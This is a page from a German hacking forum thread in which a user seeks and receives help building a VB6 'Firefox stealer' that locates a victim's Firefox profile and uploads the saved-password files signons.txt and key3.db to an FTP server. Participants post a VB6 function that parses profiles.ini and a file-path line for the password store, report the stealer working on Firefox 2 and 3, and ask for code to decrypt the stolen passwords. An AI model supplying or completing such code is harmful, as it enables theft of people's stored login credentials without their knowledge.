Seite 1 von 2 12 LetzteLetzte
Ergebnis 1 bis 10 von 17
  1. #1
    Gesperrt
    Registriert seit
    08.10.2007
    Beiträge
    147

    Standard [VB6] Firefox-stealer

    abend
    Ich hab da ein Problem.. ich möchte einen Firefox pw stealer programmieren, welcher die signons und key3 auf einen ftp server lädt. Den Ftp upload habe ich schon... jetzt ist das Problem, dass der Profilname verschlüsselt ist und man so nicht weiß, wo er nach der Datei suchen soll. Und mein anderes Problem ist, wie findet vb raus, welcher Benutzername das victim benutzt?

  2. #2
    Trojaner
    Registriert seit
    28.06.2008
    Beiträge
    54

    Standard

    Hab mal kurz ne Function für VB6 gecoded, hab sie nicht getestet,sollte aber gehen

    Code:
    'GetProfileName by Neronix
    
    Private Function GetProfileName()
    Dim Useless As String
    Dim Path As String
    
    Open Environ("appdata") & "\Mozilla\Firefox\profiles.ini" For Input As #1
    Line Input #1, Useless
    Line Input #1, Useless
    Line Input #1, Useless
    Line Input #1, Useless
    Line Input #1, Useless
    Line Input #1, Useless
    Line Input #1, Path
    Close #1
    
    GetProfileName = Replace(Path, "Path=Profiles/", "")
    
    End Function
    Besucht auch unsere Page
    www.hacking.gvu.cc

    NoX aka Neronix

  3. #3
    Gesperrt
    Registriert seit
    08.10.2007
    Beiträge
    147

    Standard

    Funktioniert soweit alles.. außer, dass beim Pfad jetzt das hier steht:
    Path=Profiles/i9jv4cm2.default

    und das Path bekomme ich nicht weg

  4. #4
    Trojaner
    Registriert seit
    28.06.2008
    Beiträge
    54

    Standard

    Mach mal nen Command Button und schreib folgendes rein.

    Msgbox GetProfileName
    Besucht auch unsere Page
    www.hacking.gvu.cc

    NoX aka Neronix

  5. #5
    Bad Times Virus
    Registriert seit
    03.08.2007
    Beiträge
    646

    Standard

    ~
    Geändert von nemo (08.01.2016 um 10:04 Uhr)


  6. #6
    Gesperrt
    Registriert seit
    08.10.2007
    Beiträge
    147

    Standard

    Problem ist gelöst... Tix hat mir freundlicherweiße geholfen und jetzt funktioniert alles bestens

  7. #7
    'Alter Hase' Avatar von X21
    Registriert seit
    29.09.2007
    Beiträge
    219

    Standard

    Zitat Zitat von enzym
    NoX aka Neronix, wenn das dein Snippet ist, warum verwendest du dann dieselben Variablennamen wie ich in meinem?
    Vielleicht weil schon viel länger Copy Paste macht als du Programmierst und daher viel mehr Erfahrung in diesen Dingen hat?

  8. #8
    Trojaner
    Registriert seit
    28.06.2008
    Beiträge
    54

    Standard

    Zitat Zitat von Inmice
    Vielleicht weil schon viel länger Copy Paste macht als du Programmierst und daher viel mehr Erfahrung in diesen Dingen hat?
    hab den satz irgendwie nicht recht verstanden -.-

    Das mit den Variabelnnamen ist,weil ich mir auchmal dein snippet angesehen hab.Und mit Useless sieht man ja auch gleich, dass die sachen eher unbrauchbar sind.Ich wollts ja eigendlich auch grad in groben Zügen zeigen(habs auch nur auf die schnelle gecoded).
    Besucht auch unsere Page
    www.hacking.gvu.cc

    NoX aka Neronix

  9. #9
    Gesperrt
    Registriert seit
    08.10.2007
    Beiträge
    147

    Standard

    Mahlzeit,
    kann mir nochmal kurz einer helfen?
    Wie hieß nochmal der Befehl, dass er erst den code ausführt, nachdem er einen anderen ausgeführt hat? Denn sonst kommt bei mir immer, dass der andere Befehl noch ausgeführt wird..
    Danke!

    achja: Und wie bekomme ich es hin, dass das programm die pws entschlüsselt? Denn sonst läd es die Dateien nur hoch und ich muss es dann in den profilordner von mir einfügen.

    Added after 29 hours 41 minutes:

    So.. mir ist der Befehl wieder eingefallen..
    Jetzt geht der Firefoxstealer ohne Probleme.. er geht mit Firefox 2 und 3... aber bis jetzt läd er nur die singons.txt und key3.db hoch.. gibt einen source, mit dem man die pw's decrypten kann und diese dann in einem textfile speichert?

  10. #10
    Gesperrt
    Registriert seit
    08.10.2007
    Beiträge
    147

    Standard

    Neues Problem:
    Bei mir funzt der stealer ohne Probleme... aber bei ein paar lädt es einfach nix hoch... also bei ein paar gehts und bei paar gehts nicht.
    Den Pfad zur Datei hab ich so angegeben:
    Code:
    Environ("appdata") & "\Mozilla\Firefox\Profiles\" & GetProfiles & "\signons2.txt")
    Ich hab es 2 Freunde testen lassen. Beide haben Windoof xp, ich habe windows vistal Liegt es dadran? Also, ist es von Windows zu Windows unterschiedlich?

Seite 1 von 2 12 LetzteLetzte

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •